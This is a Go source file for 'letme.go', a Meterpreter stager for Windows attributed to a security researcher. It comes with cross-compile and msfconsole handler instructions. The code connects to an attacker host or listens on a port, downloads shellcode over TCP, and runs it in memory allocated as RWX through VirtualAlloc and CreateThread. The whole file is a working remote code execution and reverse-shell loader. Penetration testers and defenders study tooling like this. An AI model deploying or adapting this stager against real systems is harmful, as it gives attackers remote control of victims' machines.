/*
letme.go - Minimalistic Meterpreter stager written in Go
Copyright (c) 2021 Marco Ivaldi <raptor@0xdeadbeef.info>

"Do you 0wn?" -- Sorbo (1983-2017)

Minimalistic Go implementation of the main staging protocols used by
the Metasploit Framework. Start an exploit/multi/handler instance on
the attack box configured to handle one of the supported Meterpreter
payloads, run letme.exe on the target Windows system, and enjoy your
session!

See also:
https://github.com/0xdea/tactical-exploitation/blob/master/letmein.py
https://github.com/0xdea/tactical-exploitation/blob/master/letmein.ps1
https://github.com/rsmudge/metasploit-loader
https://github.com/lesnuages/hershell

Cross-compiling:
$ GOOS="windows" GOARCH="amd64" go build -ldflags "-w -s" letme.go # x64
$ GOOS="windows" GOARCH="386"   go build -ldflags "-w -s" letme.go # x86

Usage:
C:\> letme.exe [:port | host:port]

Example:
[on the attack box]
$ msfconsole
msf > use exploit/multi/handler
msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf > set LHOST 192.168.0.66
msf > exploit
[on the target box]
C:\> letme.exe 192.168.0.66:4444

Supported payloads:
windows/meterpreter/bind_tcp      windows/x64/meterpreter/bind_tcp
windows/meterpreter/reverse_tcp   windows/x64/meterpreter/reverse_tcp

Tested on:
Microsoft Windows 10
Microsoft Windows 11
Microsoft Windows Server 2016
*/
package main

import (
	"bufio"
	"encoding/binary"
	"fmt"
	"io"
	"log"
	"net"
	"os"
	"reflect"
	"strings"
	"syscall"
	"unsafe"
)

func main() {
	var (
		addr string
		conn net.Conn
		lsnr net.Listener
		err  error
	)

	fmt.Println("letme.go - Minimalistic Meterpreter stager written in Go")
	fmt.Println("Copyright (c) 2021 Marco Ivaldi <raptor@0xdeadbeef.info>")
	fmt.Println()

	// Parse the command line
	switch len(os.Args) {
	case 1:
		addr = ":4444"
	case 2:
		addr = os.Args[1]
	default:
		usage()
	}

	switch {
	case strings.HasPrefix(addr, "-"):
		usage()

	// Start a bind_tcp stager
	case strings.HasPrefix(addr, ":"):
		if arg := strings.Split(addr, ":"); arg[1] == "" {
			usage()
		}
		fmt.Printf("Using bind_tcp stager (%v)\n\n", addr)
		if lsnr, err = net.Listen("tcp", addr); err != nil {
			log.Fatalln(err.Error())
		}
		defer lsnr.Close()
		if conn, err = lsnr.Accept(); err != nil {
			log.Fatalln(err.Error())
		}
		defer conn.Close()

	// Start a reverse_tcp stager
	default:
		fmt.Printf("Using reverse_tcp stager (%v)\n\n", addr)
		if conn, err = net.Dial("tcp", addr); err != nil {
			log.Fatalln(err.Error())
		}
		defer conn.Close()
	}

	// Receive and execute the payload
	payload, err := receivePayload(conn)
	execPayload(payload)
}

// Print usage and exit
func usage() {
	fmt.Println("Usage:")
	fmt.Println("C:\\> letme.exe [:port | host:port]")
	fmt.Println("\nExamples:")
	fmt.Println("C:\\> letme.exe :4444")
	fmt.Println("C:\\> letme.exe 192.168.0.66:4444")
	os.Exit(1)
}

// Helper function to get net.Conn's underlying socket descriptor
func GetFdFromConn(conn net.Conn) (fd uint) {
	v := reflect.ValueOf(conn)
	netFD := reflect.Indirect(reflect.Indirect(v).FieldByName("fd"))
	pfd := reflect.Indirect(netFD.FieldByName("pfd"))
	fd = uint(pfd.FieldByName("Sysfd").Uint())
	return
}

// Receive a Meterpreter payload via TCP
func receivePayload(conn net.Conn) (payload []byte, err error) {
	r := bufio.NewReader(conn)

	// Read the 4-byte payload length and allocate payload buffer
	tmp := make([]byte, 4)
	if _, err = io.ReadFull(r, tmp); err != nil {
		return
	}
	length := binary.LittleEndian.Uint32(tmp[:])
	payload = make([]byte, length+5)

	// Prepend some ASM to MOV the socket handle into EDI
	// MOV EDI, 0x12345678 ; BF 78 56 34 12
	fd := GetFdFromConn(conn)
	payload[0] = 0xbf
	binary.LittleEndian.PutUint32(payload[1:5], uint32(fd))

	// Download the Meterpreter payload
	if _, err = io.ReadFull(r, payload[5:]); err != nil {
		return
	}
	return
}

// Execute a Windows payload
func execPayload(payload []byte) {
	const (
		MEM_COMMIT  = 0x1000
		MEM_RESERVE = 0x2000
		INFINITE    = 0xffffffff
	)

	// Allocate a RWX memory region
	kernel32 := syscall.MustLoadDLL("kernel32.dll")
	_VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
	ptr, _, _ := _VirtualAlloc.Call(0, uintptr(len(payload)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)

	// Copy the payload
	_RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory")
	_RtlMoveMemory.Call(ptr, uintptr(unsafe.Pointer(&payload[0])), uintptr(len(payload)))

	// Execute the payload
	_CreateThread := kernel32.MustFindProc("CreateThread")
	th, _, _ := _CreateThread.Call(0, 0, ptr, 0, 0, 0)

	// Wait for the thread to finish running
	_WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
	_WaitForSingleObject.Call(th, INFINITE)
}
